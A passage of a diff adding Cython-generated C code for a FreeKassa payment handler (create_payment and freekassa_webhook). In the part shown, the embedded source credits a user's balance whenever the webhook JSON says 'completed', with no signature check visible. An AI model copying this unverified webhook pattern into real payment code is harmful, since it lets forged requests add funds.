&__pyx_t_19) < 0)) __Pyx_ErrFetch(&__pyx_t_21, &__pyx_t_20, &__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_21); + __Pyx_XGOTREF(__pyx_t_20); + __Pyx_XGOTREF(__pyx_t_19); + __Pyx_XGOTREF(__pyx_t_18); + __Pyx_XGOTREF(__pyx_t_17); + __Pyx_XGOTREF(__pyx_t_16); + __pyx_t_22 = __pyx_r; + __pyx_r = 0; + __Pyx_GOTREF(__pyx_cur_scope->__pyx_v_e); + __Pyx_DECREF(__pyx_cur_scope->__pyx_v_e); __pyx_cur_scope->__pyx_v_e = 0; + __pyx_r = __pyx_t_22; + __pyx_t_22 = 0; + if (PY_MAJOR_VERSION >= 3) { + __Pyx_XGIVEREF(__pyx_t_18); + __Pyx_XGIVEREF(__pyx_t_17); + __Pyx_XGIVEREF(__pyx_t_16); + __Pyx_ExceptionReset(__pyx_t_18, __pyx_t_17, __pyx_t_16); + } + __Pyx_XGIVEREF(__pyx_t_21); + __Pyx_XGIVEREF(__pyx_t_20); + __Pyx_XGIVEREF(__pyx_t_19); + __Pyx_ErrRestore(__pyx_t_21, __pyx_t_20, __pyx_t_19); + __pyx_t_21 = 0; __pyx_t_20 = 0; __pyx_t_19 = 0; __pyx_t_18 = 0; __pyx_t_17 = 0; __pyx_t_16 = 0; + goto __pyx_L7_except_return; + } + } + } + goto __pyx_L6_except_error; + + /* "handlers/payments/freekassa_pay.py":51 + * params["signature"] = generate_signature(params, FREEKASSA_API_KEY) + * + * try: # <<<<<<<<<<<<<< + * response = requests.post( + * "https://api.freekassa.com/v1/orders/create", json=params + */ + __pyx_L6_except_error:; + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_ExceptionReset(__pyx_t_6, __pyx_t_7, __pyx_t_8); + goto __pyx_L1_error; + __pyx_L8_try_return:; + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_ExceptionReset(__pyx_t_6, __pyx_t_7, __pyx_t_8); + goto __pyx_L0; + __pyx_L7_except_return:; + __Pyx_XGIVEREF(__pyx_t_6); + __Pyx_XGIVEREF(__pyx_t_7); + __Pyx_XGIVEREF(__pyx_t_8); + __Pyx_ExceptionReset(__pyx_t_6, __pyx_t_7, __pyx_t_8); + goto __pyx_L0; + } + CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); + + /* "handlers/payments/freekassa_pay.py":36 + * + * + * async def create_payment(user_id, amount, email, ip): # <<<<<<<<<<<<<< + * payment_id = str(uuid.uuid4()) + * nonce = int(time.time() * 1000) + */ + + /* function exit code */ + __pyx_L1_error:; + __Pyx_Generator_Replace_StopIteration(0); + __Pyx_XDECREF(__pyx_t_1); + __Pyx_XDECREF(__pyx_t_2); + __Pyx_XDECREF(__pyx_t_3); + __Pyx_XDECREF(__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); + __Pyx_XDECREF(__pyx_t_12); + __Pyx_XDECREF(__pyx_t_13); + __Pyx_AddTraceback("create_payment", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_L0:; + __Pyx_XDECREF(__pyx_r); __pyx_r = 0; + #if !CYTHON_USE_EXC_INFO_STACK + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + #endif + __pyx_generator->resume_label = -1; + __Pyx_Coroutine_clear((PyObject*)__pyx_generator); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_7generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ + +/* "handlers/payments/freekassa_pay.py":70 + * + * + * async def freekassa_webhook(request): # <<<<<<<<<<<<<< + * data = await request.json() + * logging.debug(f" FreeKassa: {data}") + */ + +/* Python wrapper */ +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_6freekassa_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +); /*proto*/ +static PyMethodDef __pyx_mdef_8handlers_8payments_13freekassa_pay_6freekassa_webhook = {"freekassa_webhook", (PyCFunction)(void*)(__Pyx_PyCFunction_FastCallWithKeywords)__pyx_pw_8handlers_8payments_13freekassa_pay_6freekassa_webhook, __Pyx_METH_FASTCALL|METH_KEYWORDS, 0}; +static PyObject *__pyx_pw_8handlers_8payments_13freekassa_pay_6freekassa_webhook(PyObject *__pyx_self, +#if CYTHON_METH_FASTCALL +PyObject *const *__pyx_args, Py_ssize_t __pyx_nargs, PyObject *__pyx_kwds +#else +PyObject *__pyx_args, PyObject *__pyx_kwds +#endif +) { + PyObject *__pyx_v_request = 0; + #if !CYTHON_METH_FASTCALL + CYTHON_UNUSED Py_ssize_t __pyx_nargs; + #endif + CYTHON_UNUSED PyObject *const *__pyx_kwvalues; + PyObject* values[1] = {0}; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + PyObject *__pyx_r = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("freekassa_webhook (wrapper)", 0); + #if !CYTHON_METH_FASTCALL + #if CYTHON_ASSUME_SAFE_MACROS + __pyx_nargs = PyTuple_GET_SIZE(__pyx_args); + #else + __pyx_nargs = PyTuple_Size(__pyx_args); if (unlikely(__pyx_nargs < 0)) return NULL; + #endif + #endif + __pyx_kwvalues = __Pyx_KwValues_FASTCALL(__pyx_args, __pyx_nargs); + { + PyObject **__pyx_pyargnames[] = {&__pyx_n_s_request,0}; + if (__pyx_kwds) { + Py_ssize_t kw_args; + switch (__pyx_nargs) { + case 1: values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + CYTHON_FALLTHROUGH; + case 0: break; + default: goto __pyx_L5_argtuple_error; + } + kw_args = __Pyx_NumKwargs_FASTCALL(__pyx_kwds); + switch (__pyx_nargs) { + case 0: + if (likely((values[0] = __Pyx_GetKwValue_FASTCALL(__pyx_kwds, __pyx_kwvalues, __pyx_n_s_request)) != 0)) { + (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); + kw_args--; + } + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 70, __pyx_L3_error) + else goto __pyx_L5_argtuple_error; + } + if (unlikely(kw_args > 0)) { + const Py_ssize_t kwd_pos_args = __pyx_nargs; + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "freekassa_webhook") < 0)) __PYX_ERR(0, 70, __pyx_L3_error) + } + } else if (unlikely(__pyx_nargs != 1)) { + goto __pyx_L5_argtuple_error; + } else { + values[0] = __Pyx_Arg_FASTCALL(__pyx_args, 0); + } + __pyx_v_request = values[0]; + } + goto __pyx_L6_skip; + __pyx_L5_argtuple_error:; + __Pyx_RaiseArgtupleInvalid("freekassa_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 70, __pyx_L3_error) + __pyx_L6_skip:; + goto __pyx_L4_argument_unpacking_done; + __pyx_L3_error:; + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_AddTraceback("handlers.payments.freekassa_pay.freekassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __Pyx_RefNannyFinishContext(); + return NULL; + __pyx_L4_argument_unpacking_done:; + __pyx_r = __pyx_pf_8handlers_8payments_13freekassa_pay_5freekassa_webhook(__pyx_self, __pyx_v_request); + + /* function exit code */ + { + Py_ssize_t __pyx_temp; + for (__pyx_temp=0; __pyx_temp < (Py_ssize_t)(sizeof(values)/sizeof(values[0])); ++__pyx_temp) { + __Pyx_Arg_XDECREF_FASTCALL(values[__pyx_temp]); + } + } + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_pf_8handlers_8payments_13freekassa_pay_5freekassa_webhook(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_request) { + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *__pyx_cur_scope; + PyObject *__pyx_r = NULL; + __Pyx_RefNannyDeclarations + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannySetupContext("freekassa_webhook", 0); + __pyx_cur_scope = (struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *)__pyx_tp_new_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook(__pyx_ptype_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook, __pyx_empty_tuple, NULL); + if (unlikely(!__pyx_cur_scope)) { + __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *)Py_None); + __Pyx_INCREF(Py_None); + __PYX_ERR(0, 70, __pyx_L1_error) + } else { + __Pyx_GOTREF((PyObject *)__pyx_cur_scope); + } + __pyx_cur_scope->__pyx_v_request = __pyx_v_request; + __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); + __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); + { + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_13freekassa_pay_7generator1, __pyx_codeobj__5, (PyObject *) __pyx_cur_scope, __pyx_n_s_freekassa_webhook, __pyx_n_s_freekassa_webhook, __pyx_n_s_handlers_payments_freekassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_DECREF(__pyx_cur_scope); + __Pyx_RefNannyFinishContext(); + return (PyObject *) gen; + } + + /* function exit code */ + __pyx_L1_error:; + __Pyx_AddTraceback("handlers.payments.freekassa_pay.freekassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); + __pyx_r = NULL; + __Pyx_DECREF((PyObject *)__pyx_cur_scope); + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + return __pyx_r; +} + +static PyObject *__pyx_gb_8handlers_8payments_13freekassa_pay_7generator1(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value) /* generator body */ +{ + struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *__pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_13freekassa_pay___pyx_scope_struct_2_freekassa_webhook *)__pyx_generator->closure); + PyObject *__pyx_r = NULL; + PyObject *__pyx_t_1 = NULL; + PyObject *__pyx_t_2 = NULL; + PyObject *__pyx_t_3 = NULL; + unsigned int __pyx_t_4; + PyObject *__pyx_t_5 = NULL; + int __pyx_t_6; + double __pyx_t_7; + PyObject *__pyx_t_8 = NULL; + int __pyx_lineno = 0; + const char *__pyx_filename = NULL; + int __pyx_clineno = 0; + __Pyx_RefNannyDeclarations + __Pyx_RefNannySetupContext("freekassa_webhook", 0); + switch (__pyx_generator->resume_label) { + case 0: goto __pyx_L3_first_run; + case 1: goto __pyx_L4_resume_from_await; + case 2: goto __pyx_L6_resume_from_await; + case 3: goto __pyx_L7_resume_from_await; + case 4: goto __pyx_L8_resume_from_await; + default: /* CPython raises the right error here */ + __Pyx_RefNannyFinishContext(); + return NULL; + } + __pyx_L3_first_run:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 70, __pyx_L1_error) + + /* "handlers/payments/freekassa_pay.py":71 + * + * async def freekassa_webhook(request): + * data = await request.json() # <<<<<<<<<<<<<< + * logging.debug(f" FreeKassa: {data}") + * + */ + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_2))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_2, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_1); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 1; + return __pyx_r; + __pyx_L4_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 71, __pyx_L1_error) + __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); + } else { + __pyx_t_1 = NULL; + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } + __Pyx_GIVEREF(__pyx_t_1); + __pyx_cur_scope->__pyx_v_data = __pyx_t_1; + __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":72 + * async def freekassa_webhook(request): + * data = await request.json() + * logging.debug(f" FreeKassa: {data}") # <<<<<<<<<<<<<< + * + * logging.debug(f" FreeKassa: {data}") + */ + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logging); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_debug); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_kp_u_FreeKassa_3, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_3))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_3, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_t_5}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 72, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":74 + * logging.debug(f" FreeKassa: {data}") + * + * logging.debug(f" FreeKassa: {data}") # <<<<<<<<<<<<<< + * + * if data["status"] == "completed": + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logging); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_debug); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_data, __pyx_empty_unicode); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_FreeKassa_4, __pyx_t_3); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_5))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_5); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_5); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_5, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_t_2}; + __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/freekassa_pay.py":76 + * logging.debug(f" FreeKassa: {data}") + * + * if data["status"] == "completed": # <<<<<<<<<<<<<< + * user_id = data["metadata"]["user_id"] + * amount = float(data["amount"]) + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_status); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_1, __pyx_n_u_completed, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (__pyx_t_6) { + + /* "handlers/payments/freekassa_pay.py":77 + * + * if data["status"] == "completed": + * user_id = data["metadata"]["user_id"] # <<<<<<<<<<<<<< + * amount = float(data["amount"]) + * await add_payment(int(user_id), float(amount), "freekassa") + */ + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_metadata); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_5 = __Pyx_PyObject_Dict_GetItem(__pyx_t_1, __pyx_n_u_user_id); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 77, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_GIVEREF(__pyx_t_5); + __pyx_cur_scope->__pyx_v_user_id = __pyx_t_5; + __pyx_t_5 = 0; + + /* "handlers/payments/freekassa_pay.py":78 + * if data["status"] == "completed": + * user_id = data["metadata"]["user_id"] + * amount = float(data["amount"]) # <<<<<<<<<<<<<< + * await add_payment(int(user_id), float(amount), "freekassa") + * + */ + __pyx_t_5 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_data, __pyx_n_u_amount); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __pyx_t_7 = __Pyx_PyObject_AsDouble(__pyx_t_5); if (unlikely(__pyx_t_7 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 78, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __pyx_cur_scope->__pyx_v_amount = __pyx_t_7; + + /* "handlers/payments/freekassa_pay.py":79 + * user_id = data["metadata"]["user_id"] + * amount = float(data["amount"]) + * await add_payment(int(user_id), float(amount), "freekassa") # <<<<<<<<<<<<<< + * + * await update_balance(user_id, amount) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_add_payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_2); + __pyx_t_3 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_8)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_8); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[4] = {__pyx_t_8, __pyx_t_2, __pyx_t_3, __pyx_n_u_freekassa}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 3+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 79, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 2; + return __pyx_r; + __pyx_L6_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 79, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 79, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":81 + * await add_payment(int(user_id), float(amount), "freekassa") + * + * await update_balance(user_id, amount) # <<<<<<<<<<<<<< + * await send_payment_success_notification(user_id, amount) + * + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_update_balance); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_3}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 81, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 3; + return __pyx_r; + __pyx_L7_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 81, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 81, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":82 + * + * await update_balance(user_id, amount) + * await send_payment_success_notification(user_id, amount) # <<<<<<<<<<<<<< + * + * return web.Response(status=200) + */ + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_send_payment_success_notificatio); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_3 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_2 = NULL; + __pyx_t_4 = 0; + #if CYTHON_UNPACK_METHODS + if (unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_2)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_2); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_4 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_2, __pyx_cur_scope->__pyx_v_user_id, __pyx_t_3}; + __pyx_t_5 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); + __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 82, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_5); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __pyx_r = __Pyx_Coroutine_Yield_From(__pyx_generator, __pyx_t_5); + __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; + __Pyx_XGOTREF(__pyx_r); + if (likely(__pyx_r)) { + __Pyx_XGIVEREF(__pyx_r); + __Pyx_RefNannyFinishContext(); + __Pyx_Coroutine_ResetAndClearException(__pyx_generator); + /* return from generator, awaiting value */ + __pyx_generator->resume_label = 4; + return __pyx_r; + __pyx_L8_resume_from_await:; + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 82, __pyx_L1_error) + } else { + PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); + if (exc_type) { + if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); + else __PYX_ERR(0, 82, __pyx_L1_error) + } + } + + /* "handlers/payments/freekassa_pay.py":76 + * logging.debug(f" FreeKassa: {data}") + * + * if data["status"] == "completed": # <<<<<<<<<<<<<< + * user_id = data["metadata"]["user_id"] + * 